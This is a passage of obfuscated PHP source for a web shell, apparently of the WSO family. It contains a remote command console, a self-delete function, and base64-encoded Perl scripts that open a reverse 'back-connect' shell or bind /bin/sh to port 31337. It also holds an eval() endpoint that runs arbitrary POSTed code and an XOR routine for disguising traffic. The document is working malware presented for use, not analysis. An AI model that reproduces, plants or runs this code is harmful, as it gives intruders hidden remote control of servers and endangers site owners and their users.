	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
	foreach ( $GLOBALS['cgghkn'] as $aiove => $bgli ) {
		if ( $bgli == '' ) {
			echo '<optgroup label="-' . htmlspecialchars( $aiove ) . '-"></optgroup>';
			continue;
		}
		echo '<option value="' . htmlspecialchars( $bgli ) . '">' . $aiove . '</option>';
	}

	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . ( @$_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . 'ajax' ] ? 'checked' : '' ) . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . ( ! empty( $_POST['gyuv'] ) || $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . 'stderr_to_out' ] ? 'checked' : '' ) . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if ( ! empty( $_POST['vcbxl'] ) ) {
		echo htmlspecialchars( "$ " . $_POST['vcbxl'] . "
" . vwquufev( $_POST['vcbxl'] ) );
	}
	echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	jmdrev();
}

function actionLogout() {
	setcookie( md5( $_SERVER['HTTP_HOST'] ), '', time() - 3600 );
	die( 'bye!' );
}

function actionSelfRemove() {

	if ( $_POST['vcbxl'] == 'yes' ) {
		if ( @unlink( preg_replace( '!\(\d+\)\s.*!', '', __FILE__ ) ) ) {
			die( 'Shell has been removed' );
		} else {
			echo 'unlink error!';
		}
	}
	if ( $_POST['vcbxl'] != 'yes' ) {
		nqhvpyso();
	}
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	jmdrev();
}

function actionNetwork() {
	nqhvpyso();
	$xzul = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$akgk    = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if ( isset( $_POST['vcbxl'] ) ) {

		function yizery( $lctwp, $msnv ) {
			$rofqjq = @fopen( $lctwp, "w" ) or @function_exists( 'file_put_contents' );
			if ( $rofqjq ) {
				@fwrite( $rofqjq, base64_decode( $msnv ) );
				@fclose( $rofqjq );
			}
		}

		if ( $_POST['vcbxl'] == 'bpp' ) {
			yizery( "/tmp/bp.pl", $akgk );
			$xhtz = vwquufev( "perl /tmp/bp.pl " . $_POST['gyuv'] . " 1>/dev/null 2>&1 &" );
			sleep( 1 );
			echo "<pre class=ml1>$xhtz
" . vwquufev( "ps aux | grep bp.pl" ) . "</pre>";
			unlink( "/tmp/bp.pl" );
		}
		if ( $_POST['vcbxl'] == 'bcp' ) {
			yizery( "/tmp/bc.pl", $xzul );
			$xhtz = vwquufev( "perl /tmp/bc.pl " . $_POST['gyuv'] . " " . $_POST['xjff'] . " 1>/dev/null 2>&1 &" );
			sleep( 1 );
			echo "<pre class=ml1>$xhtz
" . vwquufev( "ps aux | grep bc.pl" ) . "</pre>";
			unlink( "/tmp/bc.pl" );
		}
	}
	echo '</div>';
	jmdrev();
}

function actionRC() {
	if ( ! @$_POST['vcbxl'] ) {
		$fayit = array(
			"uname"       => php_uname(),
			"php_version" => phpversion(),
			"safemode"    => @ini_get( 'safe_mode' )
		);
		echo serialize( $fayit );
	} else {
		eval( $_POST['vcbxl'] );
	}
}

function agwrqomc( $mimozr ) {
	return dhknx( $mimozr, $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . "bijenuw" ] );
}

function dhknx( $ectjh, $kpixtp ) {
	if ( ! $kpixtp ) {
		return null;
	}


	$ectjh   = base64_encode( $ectjh );
	$kpixtp = base64_encode( $kpixtp );
	$bfwn  = '';
	$tgin  = '';
	$shdf        = 0;
	while ( $shdf < mb_strlen( $ectjh ) ) {
		for ( $twyc = 0; $twyc < mb_strlen( $kpixtp ); $twyc ++ ) {
			$bfwn = xipboxlo( $ectjh, $shdf ) ^ xipboxlo( $kpixtp, $twyc );
			$tgin .= chr( $bfwn );
			$shdf ++;
			if ( $shdf >= mb_strlen( $ectjh ) ) {
				break;
			}
		}


	}

	return base64_encode( $tgin );


}

function xipboxlo( $wxsff, $lkkbkv ) {
	$bbacu = mb_substr( $wxsff, $lkkbkv, 1, 'UTF-8' );
	if ( mb_check_encoding( $bbacu, 'UTF-8' ) ) {
		$rcgqa = mb_convert_encoding( $bbacu, 'UTF-32BE', 'UTF-8' );

		return hexdec( bin2hex( $rcgqa ) );
	} else {
		return null;
	}
}


if ( empty( $_POST['hqzol'] ) ) {
	if ( isset( $vtdyd ) && function_exists( 'action' . $vtdyd ) ) {
		$_POST['hqzol'] = $vtdyd;
	} else {
		$_POST['hqzol'] = 'SecInfo';
	}
}
if ( ! empty( $_POST['hqzol'] ) && function_exists( 'action' . $_POST['hqzol'] ) ) {
	call_user_func( 'action' . $_POST['hqzol'] );
}
exit;